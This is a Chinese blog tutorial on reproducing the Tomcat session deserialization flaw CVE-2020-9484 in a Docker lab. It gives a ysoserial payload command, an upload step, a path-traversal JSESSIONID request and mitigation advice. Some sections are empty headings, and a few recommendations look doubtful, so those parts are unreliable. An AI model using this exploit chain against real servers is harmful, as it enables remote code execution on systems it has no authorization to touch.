如何进行Tomcat Session反序列化漏洞复现

发布时间:2021-12-17 16:26:06 作者:柒染
来源:亿速云 阅读:293
# 如何进行Tomcat Session反序列化漏洞复现

## 前言

Tomcat作为广泛使用的Java Web应用服务器,其安全性备受关注。Session反序列化漏洞(CVE-2020-9484)是近年来影响较大的高危漏洞,允许攻击者通过精心构造的序列化数据实现远程代码执行。本文将详细讲解漏洞原理、环境搭建、利用过程及防御措施,帮助安全研究人员掌握漏洞复现方法。

---

## 一、漏洞概述

### 1.1 漏洞背景
- **漏洞编号**:CVE-2020-9484
- **影响版本**:Apache Tomcat 10.0.0-M1至10.0.0-M4、9.0.0.M1至9.0.34、8.5.0至8.5.54、7.0.0至7.0.103
- **漏洞类型**:反序列化远程代码执行(RCE)
- **CVSS评分**:9.8(Critical)

### 1.2 漏洞原理
当Tomcat配置了`PersistentManager`并使用`FileStore`存储Session时,攻击者可上传恶意序列化数据到服务器,通过伪造Session ID触发反序列化操作,最终执行任意代码。

**关键点**:
- 使用`JSESSIONID`指定文件路径
- 服务器未对反序列化数据做安全检查
- 依赖`org.apache.catalina.session.FileStore`组件

---

## 二、实验环境搭建

### 2.1 所需工具
| 工具名称          | 用途说明                     |
|-------------------|----------------------------|
| Docker           | 快速部署漏洞环境            |
| Vulhub镜像       | 预置漏洞环境的Docker镜像库  |
| ysoserial       | Java反序列化利用工具        |
| Burp Suite      | 拦截和修改HTTP请求          |

### 2.2 环境配置步骤
```bash
# 拉取Vulhub漏洞环境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/tomcat/CVE-2020-9484

# 启动漏洞环境(需提前安装Docker)
docker-compose up -d

# 验证服务是否启动
curl http://127.0.0.1:8080

关键配置验证: 检查conf/context.xml中是否存在如下配置:

<Manager className="org.apache.catalina.session.PersistentManager">
    <Store className="org.apache.catalina.session.FileStore" directory="/tmp"/>
</Manager>

三、漏洞复现过程

3.1 生成恶意序列化数据

使用ysoserial生成CommonsCollections利用链:

java -jar ysoserial.jar CommonsCollections5 "touch /tmp/pwned" > session.ser

3.2 上传恶意文件

将生成的session.ser上传至Tomcat可访问目录(如/tmp):

docker cp session.ser tomcat:/tmp/

3.3 伪造Session请求

通过Burp构造恶意请求:

GET /index.jsp HTTP/1.1
Host: 127.0.0.1:8080
Cookie: JSESSIONID=../../../../../tmp/session

3.4 验证攻击效果

进入容器检查命令是否执行:

docker exec -it tomcat bash
ls -la /tmp/pwned  # 查看文件是否创建

四、漏洞深度分析

4.1 调用链分析

  1. Request.doGetSession() 尝试通过Session ID加载Session
  2. FileStore.load() 从文件系统读取序列化数据
  3. Session.readObject() 执行反序列化操作
  4. CommonsCollections链触发RCE

4.2 关键代码片段

// FileStore.java
public Session load(String id) throws ClassNotFoundException, IOException {
    File file = new File(directory(), id);
    try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file))) {
        return (Session) ois.readObject();
    }
}

4.3 利用限制条件


五、防御方案

5.1 官方修复措施

5.2 临时缓解方案

<!-- 关闭PersistentManager -->
<Manager className="org.apache.catalina.session.StandardManager"/>

5.3 安全建议

  1. 禁用Session持久化功能
  2. 配置SerialKiller过滤反序列化类
  3. 设置-Dorg.apache.catalina.session.StandardSession.ACTIVITY_CHECK=true

六、扩展知识

6.1 其他利用链对比

利用链 适用版本 依赖条件
CommonsCollections 3.1-3.2.1 最常见利用方式
Groovy 2.3.9-2.4.10 需Groovy库
Jdk7u21 JDK 1.7 利用原生JDK类

6.2 检测方法


结语

通过本文的详细复现过程,我们深入理解了Tomcat Session反序列化漏洞的利用原理。在实际安全测试中,应当注意遵守法律法规,仅对授权目标进行测试。建议开发人员及时更新组件版本,并采用纵深防御策略保护Web应用安全。

相关资源: - Apache官方公告 - CVE详细分析报告 - GitHub PoC代码 “`

注:实际复现时请确保在授权环境下进行,本文仅用于技术研究目的。根据实验环境差异,部分路径和参数可能需要调整。

推荐阅读:
  1. 如何进行Drupal YAML 反序列化代码执行漏洞CVE-2017-6920复现
  2. 如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

tomcat session

上一篇:singleton class是什么

下一篇:如何进行springboot配置templates直接访问的实现

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》